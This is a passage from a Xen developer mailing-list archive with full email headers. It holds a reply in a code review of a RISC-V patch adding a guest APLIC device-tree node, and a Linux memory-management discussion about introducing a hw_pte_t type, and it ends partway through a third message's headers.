        b=Ktf7PlHdUNvUW6ZeyADSMk4SJ5J9hd0Y1ftO5Rp+IrR429eepHwnaZEQqI5kdun8xs
         oLPpvt/FFEG0fmdF7dDdHQ7n7uCwtPruyAKpn6OQDDrreDKBwY9MU2R51h2yHOvLqECX
         uw9eiP9ElPq3GUXzNd67bdBC+DmXiKcXkLXhwB7eEPV28R/GOg31C+NRdnoHyFYOQiy8
         YAUsTO4I/xaJVkqGDm2cMv1xSTwkB3Avd59pVCqyIk7OzMmFMBPf98TTj+hWOxAHwmZm
         Umzt077RRRlUE8x1j5j8QhbJvMRIYSJ6xdHQZc/FzSPn3XMiI+OEw+Vloahe1Ocec8Zs
         0Gpw==
X-Forwarded-Encrypted: i=1; AHgh+Ro67hdt8OfcGEhxhpnYMVp3rdcYsydF5jn6HskiXRz2+Rm3ZpyjC/Yqo3jGBsxJWaGCbEJFcQd3xHQ=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzewHPx8EMQBkp4F7GvDaTVaQDD3MvBplLIkq7s6Lx9qzp5vvaI
	Bsv6pafKOstV/k4miP1LoytBUqqKzhILgJfMKqW6h8cSUCt4UWsn5AZB
X-Gm-Gg: AR+sD10BA8AO+tsBlSvGCtw3AePEqbM3g+500SarzOU8H1g+yg3hwgUSGemGnUmBv4S
	b2150QpKyRnAnibGAv6e6GfJxBxVirHRxOBXPoMMS6lSWRZtZGPINu9rbvQ7xVcxSrqH/9Bv5/s
	tsJ85+inaAwA9s60JFqj4cTscliIEM2aMnk7/yyAGKgRkX0Jv20oyCGyLdWvBHT/yS9htPNloeN
	bU0+57HyYXng4cOUOaa0tvNwXmtheudDeziUaj2ZbvVevEfo4YKH6jdb7ML76QTu97cAl300qgK
	0YUY/cBhkIMVTcMc2hHk3lSF3WG+y5+QXgFLDwrCKCad01a6Lja6+JbJkUwSlxaXoly68+2LrBw
	Z8CHMv325Dlhz7QGkOzpFHRR7AyNV5tKeqXPfGYZ7t5Ukyxcd69j3PXqmTsAnLaDHb6+kUjJQmN
	cpp1dawe1Z98Z1mOrgxw9FQP5nI4w79VeOV8WMScnBm/oxD6Gw/qGTRIOALHUOjTjSktE6D6KyM
	GP7o7jD1kRT0iTATBZlhA4E7lLGTXyZ/VU1zrkeJB2rWgNrNVK91A==
X-Received: by 2002:a05:600c:4744:b0:493:f6f0:d66b with SMTP id 5b1f17b1804b1-496c6414fd8mr65819045e9.1.1785322969393;
        Wed, 29 Jul 2026 04:02:49 -0700 (PDT)
Message-ID: <247a16f6-bf53-4447-a17a-c7593c02950f@gmail.com>
Date: Wed, 29 Jul 2026 13:02:47 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 17/23] xen/riscv: create APLIC DT node for guest
 domains
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <06c022159e9cf70bacd0c061b7460b99a3dc88ea.1784559209.git.oleksii.kurochko@gmail.com>
 <c37949ce-5858-4b62-b6c8-5cc17d40c9b4@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <c37949ce-5858-4b62-b6c8-5cc17d40c9b4@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785322970-524CBB50-09AC73B1/10/73395122804
X-purgate-type: spam
X-purgate-size: 2669



On 7/23/26 3:08 PM, Jan Beulich wrote:
> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>> --- a/xen/arch/riscv/aplic-priv.h
>> +++ b/xen/arch/riscv/aplic-priv.h
>> @@ -34,4 +34,18 @@ struct aplic_priv {
>>       const struct imsic_config *imsic_cfg;
>>   };
>>   
>> +/*
>> + * Value is inspired by what QEMU is using for riscv,num-sources property for
>> + * APLIC node.
>> + */
>> +#define GUEST_APLIC_MAX_SOURCES 96U
>> +
>> +/*
>> + * Specifies the number of wired interrupt sources supported by guest APLIC
>> + * domain.
>> + * Could be limited by host interrupt controller and is identical for every
>> + * domain.
>> + */
>> +extern unsigned int guest_aplic_num_sources;
> 
> It being only IMSIC which is supported right now together with APLIC, what
> exactly does the word "wired" mean to express in the comment? MSI, as their
> name says, aren't "wired interrupts" but messages on the system bus.

Technically, APLIC always works with interrupts delivered via dedicated 
physical connections (wired interrupts). The difference is that the 
APLIC can operate in two modes: direct mode and MSI mode. In our case, 
all interrupts are converted into MSIs, which are then sent over the 
system bus to a hart's IMSIC.

To avoid confusion, I think the term "wired" can simply be omitted. So 
I'll remove it.


> 
> You may also want to add "for now" to the latter sentence.

Agree I will add this.

> 
>> @@ -29,6 +37,74 @@ static void cf_check vaplic_deinit(struct vcpu *v)
>>       return vcpu_imsic_deinit(v);
>>   }
>>   
>> +static int __init cf_check vaplic_make_domu_dt_node(struct kernel_info *kinfo)
>> +{
>> +    struct domain *d = kinfo->bd.d;
>> +    int res;
>> +    void *fdt = kinfo->fdt;
>> +    unsigned int msi_parent_phandle;
>> +    char vaplic_name[32];
>> +    unsigned int aplic_size = APLIC_SIZE(d->max_vcpus);
>> +    const __be32 reg[] = {
>> +        cpu_to_be32(GUEST_APLIC_S_BASE >> 32),
>> +        cpu_to_be32(GUEST_APLIC_S_BASE),
>> +        cpu_to_be32(0),
>> +        cpu_to_be32(aplic_size),
>> +    };
>> +
>> +    BUILD_BUG_ON(APLIC_SIZE(MAX_VIRT_CPUS) > UINT_MAX);
>> +
>> +    res = snprintf(vaplic_name, sizeof(vaplic_name), "/soc/aplic@%lx",
> 
> Well, what should I say? I really expected you to have gone through all of your
> pending patches. replacing sizeof() by ARRAY_SIZE() in cases like this one.

No, you shouldn't but thanks for reminding me. I will replace sizeof() 
with ARRAY_SIZE().

> 
> With this adjusted and with the question above sorted one way or the other:
> Acked-by: Jan Beulich <jbeulich@suse.com>

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:05:55 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:05:55 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375507.1622646 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp26i-0002Lm-UL; Wed, 29 Jul 2026 11:05:52 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375507.1622646; Wed, 29 Jul 2026 11:05:52 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp26i-0002Lf-RB; Wed, 29 Jul 2026 11:05:52 +0000
Received: by outflank-mailman (input) for mailman id 1375507;
 Wed, 29 Jul 2026 11:05:51 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <david@kernel.org>) id 1wp26h-0002LZ-Bh
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:05:51 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp26g-002Nky-Ki
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:05:50 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <david@kernel.org>)
 id 6a69de8a-5cb7-0a2a0a5109dd-0a2a450ca874-20
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:05:50 +0200
Received: from [172.105.4.254] (helo=tor.source.kernel.org)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <david@kernel.org>)
 id 6a69de8d-f479-0a2a450c0019-ac6904fec72a-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:05:50 +0200
Received: from smtp.kernel.org (quasi.space.kernel.org [100.103.45.18])
 by tor.source.kernel.org (Postfix) with ESMTP id 3BCDE60A5E;
 Wed, 29 Jul 2026 11:05:48 +0000 (UTC)
Received: by smtp.kernel.org (Postfix) with ESMTPSA id A9E6C1F000E9;
 Wed, 29 Jul 2026 11:05:36 +0000 (UTC)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=k20260515 header.d=kernel.org header.i="@kernel.org" header.h="Date:Subject:To:Cc:References:From:In-Reply-To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=kernel.org;
	s=k20260515; t=1785323147;
	bh=36vCc8VcM+L87TfsrGnoD5hR3X1siACB/VnlnYWIbd4=;
	h=Date:Subject:To:Cc:References:From:In-Reply-To;
	b=b48irzvsg0Rb9HPmpRz1cRt988CITLctIsdsmAzYoCGHcqqDXZ2gNYuTnHHIrJbj7
	 4H2B2eH12UqMFJgYMLsCy1KZ8q4b7/HtBh+ESujT8zNC3k4hQqfRfj+yc+rkURzE4h
	 70Dn1hj1howXlSwenX2dUF2/DWVG876GsmhZQP8m1Dia942tWYnyC3PKB5EAolTNmB
	 CONyTksT7fwOidO2ekfK6pe1uDUU/xaLuhg3IVs/5z07rdUbVvn8YGTImADEAyTk9V
	 +kH3OunfyfncZZV5MjIcpVdG3+JC+QgBBibA6vztnHMkc1m9JC4YLICz4dpEmla0Jm
	 pExAKbv9xiF0g==
Message-ID: <6db0a8c0-b500-4364-be3d-d3a537c61258@kernel.org>
Date: Wed, 29 Jul 2026 13:05:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH RFC 00/11] mm: distinguish PTE table storage from PTE
 values
To: Alexander Gordeev <agordeev@linux.ibm.com>
Cc: Muhammad Usama Anjum <usama.anjum@arm.com>,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@hansenpartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
 "Liam R. Howlett" <liam@infradead.org>, Lorenzo Stoakes <ljs@kernel.org>,
 Will Deacon <will@kernel.org>, "Aneesh Kumar K.V" <aneesh.kumar@kernel.org>,
 Nick Piggin <npiggin@gmail.com>, Peter Zijlstra <peterz@infradead.org>,
 Andrey Ryabinin <ryabinin.a.a@gmail.com>,
 Pasha Tatashin <pasha.tatashin@soleen.com>, Chris Li <chrisl@kernel.org>,
 Kairui Song <kasong@tencent.com>, Uladzislau Rezki <urezki@gmail.com>,
 Steven Rostedt <rostedt@goodmis.org>, Masami Hiramatsu
 <mhiramat@kernel.org>, Alexei Starovoitov <ast@kernel.org>,
 Daniel Borkmann <daniel@iogearbox.net>, Andrii Nakryiko <andrii@kernel.org>,
 Eduard Zingerman <eddyz87@gmail.com>,
 Kumar Kartikeya Dwivedi <memxor@gmail.com>, Ingo Molnar <mingo@redhat.com>,
 Arnaldo Carvalho de Melo <acme@kernel.org>,
 Namhyung Kim <namhyung@kernel.org>, SJ Park <sj@kernel.org>,
 "Matthew Wilcox (Oracle)" <willy@infradead.org>, Jan Kara <jack@suse.cz>,
 Jason Gunthorpe <jgg@ziepe.ca>, Leon Romanovsky <leon@kernel.org>,
 Miaohe Lin <linmiaohe@huawei.com>, Dennis Zhou <dennis@kernel.org>,
 Tejun Heo <tj@kernel.org>, Christoph Lameter <cl@gentwo.org>,
 Mike Rapoport <rppt@kernel.org>, Johannes Weiner <hannes@cmpxchg.org>,
 ziy@nvidia.com, pfalcato@suse.de, ryan.roberts@arm.com,
 linux-kernel@vger.kernel.org, intel-gfx@lists.freedesktop.org,
 dri-devel@lists.freedesktop.org, linux-parisc@vger.kernel.org,
 xen-devel@lists.xenproject.org, linux-mm@kvack.org,
 linux-fsdevel@vger.kernel.org, linux-arch@vger.kernel.org,
 kasan-dev@googlegroups.com, linux-trace-kernel@vger.kernel.org,
 bpf@vger.kernel.org, linux-perf-users@vger.kernel.org, damon@lists.linux.dev
References: <20260727164715.2866609-1-usama.anjum@arm.com>
 <2c19247e-bee6-45f4-a353-2fcc60db26e6@kernel.org>
 <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
From: "David Hildenbrand (Arm)" <david@kernel.org>
Content-Language: en-US
Autocrypt: addr=david@kernel.org; keydata=
 xsFNBFXLn5EBEAC+zYvAFJxCBY9Tr1xZgcESmxVNI/0ffzE/ZQOiHJl6mGkmA1R7/uUpiCjJ
 dBrn+lhhOYjjNefFQou6478faXE6o2AhmebqT4KiQoUQFV4R7y1KMEKoSyy8hQaK1umALTdL
 QZLQMzNE74ap+GDK0w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H7pt7OL6u6BQj7DoMAEQEAAcLBfAQYAQgAJgIbDBYhBBvZyq1zXEw6Rg38yk3e
 EPcA/4NaBQJonNqrBQkmWAihAAoJEE3eEPcA/4NaKtMQALAJ8PzprBEXbXcEXwDKQu+P/vts
 IfUb1UNMfMV76BicGa5NCZnJNQASDP/+bFg6O3gx5NbhHHPeaWz/VxlOmYHokHodOvtL0WCC
 8A5PEP8tOk6029Z+J+xUcMrJClNVFpzVvOpb1lCbhjwAV465Hy+NUSbbUiRxdzNQtLtgZzOV
 Zw7jxUCs4UUZLQTCuBpFgb15bBxYZ/BL9MbzxPxvfUQIPbnzQMcqtpUs21CMK2PdfCh5c4gS
 sDci6D5/ZIBw94UQWmGpM/O1ilGXde2ZzzGYl64glmccD8e87OnEgKnH3FbnJnT4iJchtSvx
 yJNi1+t0+qDti4m88+/9IuPqCKb6Stl+s2dnLtJNrjXBGJtsQG/sRpqsJz5x1/2nPJSRMsx9
 5YfqbdrJSOFXDzZ8/r82HgQEtUvlSXNaXCa95ez0UkOG7+bDm2b3s0XahBQeLVCH0mw3RAQg
 r7xDAYKIrAwfHHmMTnBQDPJwVqxJjVNr7yBic4yfzVWGCGNE4DnOW0vcIeoyhy9vnIa3w1uZ
 3iyY2Nsd7JxfKu1PRhCGwXzRw5TlfEsoRI7V9A8isUCoqE2Dzh3FvYHVeX4Us+bRL/oqareJ
 CIFqgYMyvHj7Q06kTKmauOe4Nf0l0qEkIuIzfoLJ3qr5UyXc2hLtWyT9Ir+lYlX9efqh7mOY
 qIws/H2t
In-Reply-To: <7813b5fe-e767-442c-a356-afc1a5c567ad-agordeev@linux.ibm.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785323150-03CD3A5B-864B7149/0/0
X-purgate-type: clean
X-purgate-size: 1553

On 7/29/26 12:13, Alexander Gordeev wrote:
> On Tue, Jul 28, 2026 at 09:26:06PM +0200, David Hildenbrand (Arm) wrote:
>>> The generic definition aliases hw_pte_t to pte_t, so this series preserves
>>> the representation and behaviour of every architecture. ptep_get() keeps
>>> its existing READ_ONCE() semantics and converts the stored element through
>>> __pte_from_hw(). An architecture can later define a distinct hw_pte_t and
>>> convert its PTE interfaces to make the distinction compiler-enforced.
>>> Architecture PTE implementations and most architecture code are
>>> deliberately left for those later opt-in conversions.
> ...
>> Do you have a pointer at the arm64 part, so people can get a feeling for how an
>> actual hw_pte_t implementation can look like.
> 
> May be we need the generic hw_pte_t implementation as { pte_t pte; }
> right away?

Indeed, that makes sense. We just need a way for the architecture to opt-in that
it did the conversion.

> 
> Also, can you envision a case when sizeof(pte_t) != sizeof(hw_pte_t)?
> If not, the compile-time check is worth adding.

That wouldn't work as is. We'd have to intercept ptep++ and instead have a
helper to advance the ptep pointer.

One idea for that would be to let the compiler catch that by marking hw_pte_t an
undefined struct (unknown size), such that the compiler would indicate any usage
of ptep++ properly.

That can be done when it would actually required, so as a first step having a
generic hw_pte_t would just work.

-- 
Cheers,

David


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 11:19:59 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 11:19:59 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375522.1622655 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2KF-0004Ov-3Y; Wed, 29 Jul 2026 11:19:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375522.1622655; Wed, 29 Jul 2026 11:19:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp2KF-0004Om-0D; Wed, 29 Jul 2026 11:19:51 +0000
Received: by outflank-mailman (input) for mailman id 1375522;
 Wed, 29 Jul 2026 11:19:49 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Usama.Anjum@arm.com>) id 1wp2KD-0004Og-6O
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 11:19:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp2KC-00HHJC-BX
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 13:19:48 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69e1d1-2eae-0a2a0a5409dd-0a2a45088a84-26
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:19:47 +0200
Received: from [52.101.83.8]
 (helo=GVXPR05CU001.outbound.protection.outlook.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Usama.Anjum@arm.com>)
 id 6a69e1d3-f659-0a2a45080019-3465530829ab-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 13:19:47 +0200
Received: from AS4P195CA0013.EURP195.PROD.OUTLOOK.COM (2603:10a6:20b:5e2::16)
 by VI1PR08MB5486.eurprd08.prod.outlook.com (2603:10a6:803:13b::8)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.13; Wed, 29 Jul
 2026 11:19:43 +0000
Received: from AM3PEPF0000A79B.eurprd04.prod.outlook.com
 (2603:10a6:20b:5e2:cafe::6a) by AS4P195CA0013.outlook.office365.com
 (2603:10a6:20b:5e2::16) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.13 via Frontend Transport; Wed,
 29 Jul 2026 11:19:43 +0000
Received: from outbound-uk1.az.dlp.m.darktrace.com (4.158.2.129) by
 AM3PEPF0000A79B.mail.protection.outlook.com (10.167.16.106) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Wed, 29 Jul 2026 11:19:42 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com (2603:10a6:803:80::16)
 by DB4PR08MB7934.eurprd08.prod.outlook.com (2603:10a6:10:37a::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.270.12; Wed, 29 Jul
 2026 11:18:34 +0000
Received: from VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4]) by VI1PR08MB3421.eurprd08.prod.outlook.com
 ([fe80::e079:6bd:fbe0:89b4%3]) with mapi id 15.21.0270.009; Wed, 29 Jul 2026
 11:18:34 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=EmRswu7/9GMDAtAWCFZG/DfOBQkWXg3EVZ+8m+EmimrXMiadZpkQJ2Ldeh8fJ+kJ97fol4S8cImp6R4EEDHNIkzwCtCZ2lgdauL9m0cPB2hwEy3poJo4g6a6L512+gzXJuZPGhMqOuCoxP+QF0bRQYsXVcC0KffdkZWsu7+YTbg+6IYrcCYX0x1VT1Hb0/uqxDt2yoTbqZGgSCbr8ie/UW38ov37OHFw6jmYIVYkkNGk1ty3e6TwRwrfebr/ndaR9QYlBz4I8xwbJYfT7b5t/H9mCkaDUezzuwPYG4Hdr7jhfsd28LN2sAJiOe9kbimKiGkkOwanMbjyJl3AdVaAHg==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=tA5hJRs4abyFttA8r2p8mWJ0P+nq4juOy2jNQdd31Zg=;
 b=OdIU6VZtJP8f9Dz5dHxUhiSw9lbK67x8qXQzKsJb5ghjOpOAhb3wpQURWagJ8sw5M4Cdw/DUlW3AeJDlRXZpfozHGPk1tIUZW94Ef9Gu1vfKlcfxiUDLvhj3rYiHOj5wGrTq8OHTzQ7MYXuc2R1huCqeB0ctBqhziRFe0TmDzEx6YerJ+AWWjl881Oi85sjAa67XsLjw8NhSmptXD8eCmCCwlr3h/37sCzc7Z+rhtmZnce7jGbQP7cgfaXleUz/l6PCylHL8nWzSE2Zhs7D38jfGnOUV/+U3HTB2BfGcZDKnjFxJA2nS+ZXsp7rb1XHq8iMb4GfxgmXCyTG8ZeVKKg==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=kernel.org smtp.mailfrom=arm.com; dmarc=pass
 (p=none sp=none pct=100) action=none header.from=arm.com; dkim=pass
 (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=tA5hJRs4abyFttA8r2p8mWJ0P+nq4juOy2jNQdd31Zg=;
 b=cAKTsYyCJvi89BBRULeNlyaXAT1Du1f1Qs6DT/dj09bCj7hJewETNrAL5z12990CJtchvF0IepKh5JBGoE62p0OTzzybcdfsGohlAN4alOKY64MwjXc2eFSYDAUxG6kpq+MHHbmjdellyj/43eyQz7EfrNqZPMStHi9AGE0wx8I=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=q7WgcR/LWYicAKnfCYkqhAxH/8QLhwWt0mBo9r/enBWPPh8QUY8I6bfvwP0ooXxfAkBrQSbgshnUPlyQfmL0RkeZwtW07oE0Ur7V2CQNgOwXxWyeo1On4OoV6NtP3DszGHI351wn4SbdfVrqvrj+49p2jkY/B59p2Hww2Ahs2sASuOh7O86+DLIrWy1kIhwsMd/ydnSkQpCmlgDvVyNb5k5rfxivzX7cV4yMVdKSN+s9g8E1/uhxtbdvrlJmofIweRABWOpvxgHHDUe56Ub0Th4IKLcjF0AEsk7Y0+rh8GNY2YYsbw/esntIL7V0oG6EX8pmbQPqcUw9bOHVyhU5bg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=tA5hJRs4abyFttA8r2p8mWJ0P+nq4juOy2jNQdd31Zg=;
 b=oP/QWO708nQhTnlTLVvnBqq2WaTsjo/hIzKdmAY+9Q686im03WB0VND2SJVDB6LjRX+SyCismggg3zy9is0fXmKCHI/mUu0Gq6rwUEr4Egb9iLsDIYedG9CZ8iRi7RZpk756Qt1HWjDzEd8TMplKZTmeuVsWl/eNQCkejQAWyjnb8f+LmwTfQiTVl84+67qiB9hkbOnG1WiMHroFhVez5G5PIW5dcgLHUhAcs4JCf2qAnaQX12xB1OIN0920TBSfJl/8qYmdFy1hv5oqzK0MiI7m3Cw659ejtQAikFcBaLSyDmp5WP5XJA7mfMqt7bj8cX/mossPVtZZLsiBQECZ2w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=tA5hJRs4abyFttA8r2p8mWJ0P+nq4juOy2jNQdd31Zg=;
 b=cAKTsYyCJvi89BBRULeNlyaXAT1Du1f1Qs6DT/dj09bCj7hJewETNrAL5z12990CJtchvF0IepKh5JBGoE62p0OTzzybcdfsGohlAN4alOKY64MwjXc2eFSYDAUxG6kpq+MHHbmjdellyj/43eyQz7EfrNqZPMStHi9AGE0wx8I=
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
Message-ID: <95aa9672-227d-4b8a-944a-0c2e8ae2a2bf@arm.com>
Date: Wed, 29 Jul 2026 12:18:30 +0100
User-Agent: Mozilla Thunderbird
Cc: usama.anjum@arm.com, linux-kernel@vger.kernel.org,
 intel-gfx@lists.freedesktop.org, dri-devel@lists.freedesktop.org,
 linux-parisc@vger.kernel.org, xen-devel@lists.xenproject.org,
 linux-mm@kvack.org, linux-fsdevel@vger.kernel.org,
 linux-arch@vger.kernel.org, kasan-dev@googlegroups.com,
 linux-trace-kernel@vger.kernel.org, bpf@vger.kernel.org,
 linux-perf-users@vger.kernel.org, damon@lists.linux.dev,
 Jani Nikula <jani.nikula@linux.intel.com>,
 Joonas Lahtinen <joonas.lahtinen@linux.intel.com>,
 Rodrigo Vivi <rodrigo.vivi@intel.com>, Tvrtko Ursulin
 <tursulin@ursulin.net>, David Airlie <airlied@gmail.com>,
 Simona Vetter <simona@ffwll.ch>, Dimitri Sivanich
 <dimitri.sivanich@hpe.com>, Arnd Bergmann <arnd@arndb.de>,
 Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
 "James E.J. Bottomley" <James.Bottomley@HansenPartnership.com>,
 Helge Deller <deller@gmx.de>, Juergen Gross <jgross@suse.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Muchun Song <muchun.song@linux.dev>, Oscar Salvador <osalvador@suse.de>,
 Andrew Morton <akpm@linux-foundation.org>,
